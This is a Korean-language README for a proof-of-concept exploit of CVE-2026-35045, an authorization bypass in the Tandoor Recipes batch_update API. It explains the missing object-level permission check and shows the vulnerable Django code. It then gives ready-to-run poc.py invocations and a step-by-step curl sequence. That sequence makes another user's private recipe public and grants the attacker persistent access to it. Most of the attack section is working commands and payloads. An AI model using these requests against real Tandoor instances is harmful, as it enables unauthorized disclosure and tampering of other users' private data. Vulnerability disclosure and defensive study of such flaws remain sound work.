
# CVE-2026-35045 개념 증명 익스플로잇 Tandoor Recipes의 객체 수준 권한 부여 취약점(개체 수준 인가 취약점)으로, batch_update API 엔드포인트를 통한 무단 레시피 수정을 시연합니다.
Tandoor Recipes v2.6.1의 PUT /api/recipe/batch_update/ 엔드포인트는 Space 내의 모든 인증된 사용자가 해당 Space의 모든 레시피를 수정할 수 있도록 허용합니다. 여기에는 다른 사용자가 소유한 비공개 레시피도 포함됩니다. 이는 모든 표준 단일 레시피 엔드포인트에 적용되는 객체 수준 권한 부여 검사를 완전히 우회합니다.
근본 원인은 Django REST Framework의 동작상의 공백입니다: detail=False 목록 액션은 has_object_permission()을 절대 호출하지 않으며 has_permission()만 호출합니다. 쿼리셋은 오직 space=request.space로만 필터링되며 created_by, private 또는 shared 목록에 대한 검사가 없습니다. 공격자는 비공개 레시피를 강제로 노출시키고, 지속적인 접근 권한을 스스로 부여하고, 다른 사용자의 권한을 박탈하고, 메타데이터를 변조할 수 있습니다. 이 모든 것이 빈 본문과 함께 HTTP 200 OK를 반환하는 단일 API 호출로 가능합니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — 사용자 제어 키를 통한 권한 부여 우회 |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| 영향 버전 | Tandoor Recipes ≤ 2.6.1 |
| 공급업체 | TandoorRecipes/recipes |
| 기술 ID | 이름 | 관련성 |
|---|---|---|
| T1078 | 유효한 계정(Valid Accounts) | 공격자가 합법적인 낮은 권한의 자격 증명을 사용하여 권한 부여를 우회 |
| T1565.001 | 저장 데이터 변조(Stored Data Manipulation) | 다른 사용자가 소유한 비공개 레시피 및 ACL 수정 |
detail=False가 객체 수준 권한 검사를 우회함파일: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← created_by 또는 private 검사 없음
)
Django REST Framework에서 detail=False로 등록된 액션은 목록 액션입니다. 이들은 get_object()를 절대 호출하지 않으므로 check_object_permissions()와 CustomRecipePermission.has_object_permission()이 절대 호출되지 않습니다. has_permission()만 실행되며, 이는 레시피 소유권이 아닌 Space 멤버십만 확인합니다.
PUT /api/recipe/{id}/는 전체 DRF 권한 흐름을 따릅니다:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ 레시피가 비공개이고 요청자와 공유되지 않았거나 요청자가 소유하지 않은 경우 접근 거부
batch_update 엔드포인트는 이 전체 체인을 조용히 건너뜁니다.
RecipeBatchUpdateSerializer는 다음 필드를 노출합니다 — Space 내의 모든 레시피에 대해 쓰기 가능:
| 필드 | 효과 |
|---|---|
private | 레시피 공개 여부 전환 |
shared_add / shared_remove / shared_set | 접근 제어 목록 조작 |
keywords_add / keywords_remove / keywords_set | 레시피 메타데이터 변경 |
working_time / waiting_time | 레시피 시간 데이터 수정 |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ 공격자 │ ─────────────────────────────────────→│ Tandoor 서버 │
│ (사용자 B)│ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Space 멤버) │
│ │
│ has_object_ │
│ permission() │
│ ✗ 절대 호출 안 됨│
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← 소유권 검사 없음
│
▼
┌────────────────┐
│ 레시피 ID 2 │
│ (A 소유) │
│ private=false ← 패치됨
│ shared=[2] ← 자가 부여
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ 공격자 (B) │
│ 이제 레시피 ID 2│
│ 에 대한 전체 │
│ 접근 권한 보유 │
└────────────────┘
requests 라이브러리pip install requests
# 비공개 레시피 강제 노출 및 자가 접근 권한 부여 (기본값)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# 강제 노출만 수행 (private=false 설정)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# 자가 권한 부여만 수행 (shared 목록에 추가, private=true 유지)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| 액션 | 설명 |
|---|---|
expose | 대상 레시피에 private: false 설정 — 모든 Space 멤버에게 공개 강제 |
self_grant | 공격자의 사용자 ID를 shared_add에 추가 — 레시피가 비공개로 유지되어도 지속적인 접근 권한 부여 |
both | 단일 요청에서 두 액션 모두 실행 (기본값) |
1. 사전 조건 — 표준 엔드포인트로 레시피에 접근 불가
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 예상: 404 (비공개, 소유자 아님)
2. 익스플로잇 — 권한 검사 없는 batch_update
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# 예상: HTTP 200 OK — {}
3. 사후 조건 — 이제 레시피에 접근 가능
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 예상: HTTP 200, 레시피 데이터 포함, private=false
4. 레시피 목록으로 검증
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# 예상: 2 <recipe_name> False